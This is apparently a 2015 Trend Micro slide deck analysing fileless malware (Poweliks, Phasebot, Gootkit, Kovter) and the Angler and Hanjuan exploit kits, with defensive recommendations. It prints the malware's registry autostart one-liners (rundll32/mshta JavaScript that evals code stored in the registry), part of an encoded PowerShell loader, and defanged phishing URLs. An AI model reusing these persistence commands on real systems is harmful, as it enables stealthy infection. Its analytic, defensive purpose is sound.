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Agenda 

• What is fileless infection 

• Malware go fileless 

– Poweliks 

• Malware hiding in the registry 

– Phasebot and Gootkit 

• Malware hiding in memory 

– Angler and Hanjuan Exploit Kits 

• Recommended solutions against fileless infection 
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A fileless infection (fileless malware) 
is malicious coding that exists only in 
memory rather than installed to the 
target computer's hard drive. 

Source: WhatIs.com 
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PhaseBot Cyber attack against 
Solarbot on Apr 21, 2015 
@virusbtn Phasebot fileless malware 
spotted in the wild 
http://t.co/rqo8RV9uqs On its 
predecessor Solarbot: 
https://t.co/bnSbkNp1Ky. 

Source: www.recordedfuture.com 

Poweliks and Microsoft Windows mentioned on 
Aug 5, 2014 
The file-less 'Poweliks' malware incorporates a 
unique combination of antivirus evasion 
techniques involving the Windows registry to 
remain undetected on victims' machines 

Angler Exploit Kit mentioned 
on Dec 23, 2014 
Angler EK is known to perform 
file-less injection (memory-
based malware where nothing 
is written to disk). 
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POWELIKS 
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• Auto-start feature 

 

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\[ ]  

– The [ ] or NULL or "[NON-ASCII STRING]" value cannot be viewed via the 
registry editor   
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• Auto-start feature 

 
– The contents of the keys created by Poweliks after using Registry Dumper  
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• Registry entry that contains an encoded script 
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• Stage 1 Code of Decoded Script 

 
– The script checks if Windows PowerShell and .NET Framework is installed on 

the system  
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• Stage 1 Code of Decoded Script 

 – Executes further code, stored in base64 
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• Stage 2 Code of Decoded Script 

– The First Section, function gd, contains script that is used to interact with the 
systems memory in order to change permissions on a section of memory so 
that the code which will be written to it can be executed  
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• Stage 2 Code of Decoded Script 

– The Second Section, function ga, is used to interact with and utilise 
functionality provided by functions/APIs which it exports from system DLLs 
such as “kernel32.dll” and “user32.dll”  
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• Stage 2 Code of Decoded Script 

– The Last Section, variable $p, will have the shellcode and dll once it is 
decoded from Base64 encoding  
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• Decoded variable $p contains shellcode and an embedded DLL 
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• Process created when the DLL is injected into the system’s memory 
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• Payload 
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PHASEBOT 
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• Registry 1: Auto-start Registry Entry 

HKCU\Software\Microsoft\Windows\CurrentVersion\Run 
  
Windows Host Process (RunDll) = rundll32.exe 
javascript:"\..\mshtml,RunHTMLApplication 
";eval((new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\Sof
tware\\Microsoft\\Active%20Setup\\Installed%20Components\\{725
07C54-3577-4830-815B-310007F6135A}\\JavaScript"));close(); 
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• Registry 2: Loader Registry Entry (1/2) 

 – The script that executes a PowerShell script 
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• Registry 2: Loader Registry Entry (2/2) 

 – PowerShell script that decrypts and executes a binary embedded in Registry 3 
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• Registry 3: Encrypted Binary 

 
– PowerShell.exe injects a binary into explorer.exe 



Copyright 2015 Trend Micro Inc. 22 

GOOTKIT 
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• Registry 1: Auto-start Registry Entry 

HKCU\Software\Microsoft\Windows\CurrentVersion\Run 
  
rundll32 = "mshta "about:<title> </title><script>moveTo(-300,-
300);resizeTo(0,0);</script><hta:application 
showintaskbar=no><script>eval(new 
ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\ 
xsw\\loader'));if(!window.flag)close()</script>"" 
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• Registry 2: Loader Registry Entry (1/2) 
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• Registry 2: Loader Registry Entry (2/2) 

 
– Shellcode execution via DynamicWrapperX 
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• Registry 3: Executable Binary 
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• The malware itself resides into an hijacked svchost process 
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POWELIKS PHASEBOT GOOTKIT 

HKCU\Software\Microsoft\Windows\ 
CurrentVersion\Run\[NULL] 
 
(Default) ="rundll32.exe 
javascript:"\..\mshtml,RunHTMLApplication 
";document.write ("\74script 
language=jscript.encode>"+(new%20ActiveXOb
ject("WScript.Shell")).RegRead("HKCU\softwar
e\microsoft\windows\currentversion\run\")+"
\74/script>")“ 

 

 
HKCU\Software\Microsoft\Windows\ 
CurrentVersion\Run 
 
Windows Host Process (RunDll) = 
rundll32.exe 
javascript:"\..\mshtml,RunHTMLApplication 
";eval((new% 
20ActiveXObject("Wscript.Shell")).RegRead("
HKCU\\Software\\Microsoft\\Active%20Setu
p\\Installed% 
20Components\\{72507C54-3577-4830-815B-
310007F6135A}\\JavaScript"));close(); 

 

HKCU\Software\Microsoft\Windows\ 
CurrentVersion\Run 
 
rundll32 = "mshta "about:<title> 
</title><script> 
moveTo(-300,-
300);resizeTo(0,0);</script><hta:application 
showintaskbar=no><script>eval(new 
ActiveXObject 
('WScript.Shell').RegRead('HKCU\\Software\
\xsw\\loader'));if(!window.flag) 
close()</script>“ 

(1)  rundll32.exe <dllname>,<entrypoint> <optional arguments> 

 

(2) JavaScript Protocol 

javascript:"\..\mshtml,RunHTMLApplication "; 

eval((new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\Software\\Microsoft\\Active%20Setup\\In

stalled%20Components\\{72507C54-3577-4830-815B-310007F6135A}\\JavaScript"));close(); 

Concept 

• Malware hiding in the registry: Auto-start Registry Entry 
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POWELIKS PHASEBOT GOOTKIT 

 
HKCU\Microsoft\Windows\ 
CurrentVersion\Run 
(Default) = "{encoded script}“ 

 

 

 
 

Powershell executes 
Shellcode 

 
HKCU\Software\Microsoft\ 
Active Setup\Installed Components\ 
{72507C54-3577-4830-815B-310007F6135A} 
Javascript = "sPowerShellScript = \ 
"IyBSZWFkIEFuZCBFeGVjdXRlIFJjNCBFbmNyeXB
0ZWQgU2hlbGxDb2RlIEZyb20gVGhlIFJlZ2lzdHJ5
IA0KDQojIFNldCBSZWdpc3RyeSBLZXkNCiRzUm
VnaXN0cn………“ 

 

Powershell executes 
Shellcode 

 
HKEY_CURRENT_USER\Software\xsw 
loader = "varGlobalObject = this;var FSO = fso = 
new ActiveXObject 
(\"Scripting…“ 

 

 

 

 

DynamicWrapperX executes 
Shellcode 

• Malware hiding in the registry: Loader Registry Entry 
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POWELIKS PHASEBOT GOOTKIT 

 
 
 
 
 
Already embedded in the 
base64-encoded script of the 
loader registry entry 

HKCU\Software\ 
Microsoft\Active Setup\Installed Components\ 
{72507C54-3577-4830-815B-310007F6135A} 
Rc4Encoded{32 or 64} = "{encrypted binary}" 

 

RC4-encrypted and stored in the 
Registry 

HKEY_CURRENT_USER\Software\ xsw 
binaryImage{32 or 64} = "{binary data}“ 

 

Stored in the Registry 

• Malware hiding in the registry: Binary 
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Disk-
based 

download 

Memory-
based 

download 

• Fileless Arrival 

Aug 2014 

Source: malware.dontneedcoffee.com 
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ANGLER & HANJUAN EXPLOIT KITS 
MALWARE HIDING IN MEMORY 
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Landing page 
assesses 
vulnerability 

Retrieves 
binary from 
URL 

Serves binary 
via exploit 

  

Payload 

• Angler Exploit Kit Fileless Routine (1/3) 
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Landing page 
assesses 
vulnerability 

Retrieves 
binary from 
URL 

Serves binary 
via exploit 

  

Payload 

• Angler Exploit Kit Fileless Routine (2/3) 
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Landing page 
assesses 
vulnerability 

Retrieves 
binary from 
URL 

Serves binary 
via exploit 

  

Payload 

CVE-2013-2551 

• Angler Exploit Kit Fileless Routine (3/3) 
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Landing page 
assesses 
vulnerability 

Retrieves 
binary from 
URL 

Serves binary 
via exploit 

  

Payload 

• Hanjuan Exploit Kit Fileless Infection Delivers BEDEP 
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RECOMMENDED SOLUTIONS 
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Email 

Correlation 
among 

components 
of an attack 

Exploit 
prevention 

Network 

Solutions 
Behavioural 
Monitoring 
and Rules 

Triaging a 
system 

infected 
with fileless 

malware 

Software 
updates 

Emulation 

Packet 
detection 

registries 

Prefetch 
files 

Web 

Countermeasures 
Identify & Protect 
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• Correlation among components of an attack 
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hxxp://allthingsspeaking.com/online/volksbanken-de 
hxxp://andersonhair.com/modules/mod_ariimageslidersa/transaktionsid-volksbanken-finanzgruppe 
hxxp://bacd.ca/wp-content/uploads/volksbanken_finanzgruppe 
hxxp://bhfencers.org/pdf_mail/2014_06transaktions_volksbanken 
hxxp://campusstream.yamaha-motor.co.th/pdf-datei/transaktionsid-volksbanken-finanzgruppe 
hxxp://comforttravelling.com/pdf-datei/transaktionsid-volksbanken-finanzgruppe 
hxxp://cope.it//templates/webstat/finanzgruppe_volksbanken_ne 
hxxp://edltv.mpc.ac.th/images/transaktionsid-volksbanken-finanzgruppe 
hxxp://edltv.tatc.ac.th/images/transaktionsid-volksbanken-finanzgruppe 
hxxp://efg.sg/pdf-datei/transaktionsid-volksbanken-finanzgruppe 
hxxp://energyreform.in.th/pdf-datei/transaktionsid-volksbanken-finanzgruppe 
hxxp://extremeultimatemindcontrol.com/2014_06_11/transaktions-id-volksbanken-de 
hxxp://fashionattractive.com/transaktions-id-volksbanken-de 
hxxp://fmcabeokuta.com/modules/webstat/finanzgruppe_volksbanken_ne 
hxxp://gerardhealyboxer.com/2014_06_11/transaktions-id-volksbanken-de 
hxxp://getexbacksecret.org/wp-includes/pomo/transaktions-id-volksbanken-de 
hxxp://healingorchidsingapore.com/2014_06_11/transaktions-id-volksbanken-de 
hxxp://hsllawyers.com/wp-includes/pomo/transaktions-id-volksbanken-de 
hxxp://karsbali.net/modul/2014_06transaktions_volksbanken 
hxxp://laultimafrontera.mx/modules/mod_araticlhess/transaktionsid-volksbanken-finanzgruppe 
hxxp://mateusbraga.com/2014_06_11/transaktions-id-volksbanken-de 
hxxp://mcltelecom.co.uk/pdf-datei/transaktionsid-volksbanken-finanzgruppe 
hxxp://myproperty21.com/wp-includes/pomo/transaktions-id-volksbanken-de 
hxxp://nadia-rab.com/wp-includes/pomo/transaktions-id-volksbanken-de 
hxxp://prodonjai.com/pdf-datei/transaktionsid-volksbanken-finanzgruppe 
hxxp://seksanprinting.com/pdf-datei/transaktionsid-volksbanken-finanzgruppe 
hxxp://smallbizmarketingworkshop.ca/pdf-datei/transaktionsid-volksbanken-finanzgruppe 
hxxp://weblogman.com/2014_06_11/transaktions-id-volksbanken-de 
 

http://{not VOLKSBANKEN domain}/../{contains volksbanken} 
 

Pattern 
content 

format of 
URL 

Malicious 
URL 

• Web Reputation 
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Full URL is 
malicious 

Sender 

Image 

Message Format 

Subject Format 

Pattern 
content 
format 

of email 

Malicious 
spam 

• Email Pattern 
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Packet Detection 

valid GET request 

contains “/query” 

contains “version=” 
+ ”&sid=” + 

”&builddate=” + 
”&q=” 

<query> 

<clickurl> 

• Network Solution (1/2) 
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Vulnerability Assessment 
& Software updates 

Dynamic emulation on 
Web objects 

• HTML, JavaScript, Java, 
PDF, and Flash 

• Network Solution (2/2) 
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• Behavioral Rule and Monitoring 
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• YARA Rule 

Scan memory 
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Prefetch 

RegRipper 
Registry Dumper 
RegView 

Artifacts 

• Triaging a System Infected with Fileless Malware 

rundll32.exe 
dllhost.exe 
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AGE OF FILELESS INFECTION 
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Commands: RUN, UPDATE, RESTART, FEED, SLEEP  

• Kovter serves CryptoWall DLL (1/5) 
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(Default) = mshta 
javascript:NZBXG6c="SHD0";E92i=new%20ActiveXObject("WScript.Shell");GGc2FFX="jO8q6K
Ug8";EE4s1c=E92i.RegRead("HKCU\\software\\56ddaf939a\\2248ddcd");Xd8l6BcHdE="XUX"
;eval(EE4s1c);F1PYI6tNQ="ar"; 

• Kovter serves CryptoWall DLL (2/5) 
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• Kovter serves CryptoWall DLL (3/5) 

RC4 encrypted 
malware copy 

Browser User Agent 

Obfuscated javascript that will 
execute PowerShell script 
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Powershell executes  the shellcode 

• Kovter serves CryptoWall DLL (4/5) 
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• Kovter serves CryptoWall DLL (5/5) 

1. Queries registry that stores encrypted binary 2. Decrypts using RC4 

Shellcode decrypts and executes the binary stored in registry 

3. Injects code to 
regsvr32.exe or 
svchost.exe 
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• Angler EK pushes PoS Reconnaissance Trojan 
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Airport website compromised  

• Angler EK serves TeslaCrypt 

 

IE exploit CVE-2015-2419 
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Twitter 

Facebook 

Networking World 

Computerworld 

Computer Weekly 

Jan 2011 

Trend Micro Blogs 

Jan 2010 Jan 2012 Jan 2013 Jan 2014 Jan 2015 

Help Net Security News 

Jan 2009 

Source: www.recordedfuture.com 

• Rise of Fileless Infection  
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Thank You! 
benjamin_rivera@trendmicro.com 

rhena_inocencio@trendmicro.com 

www.trendmicro.com 


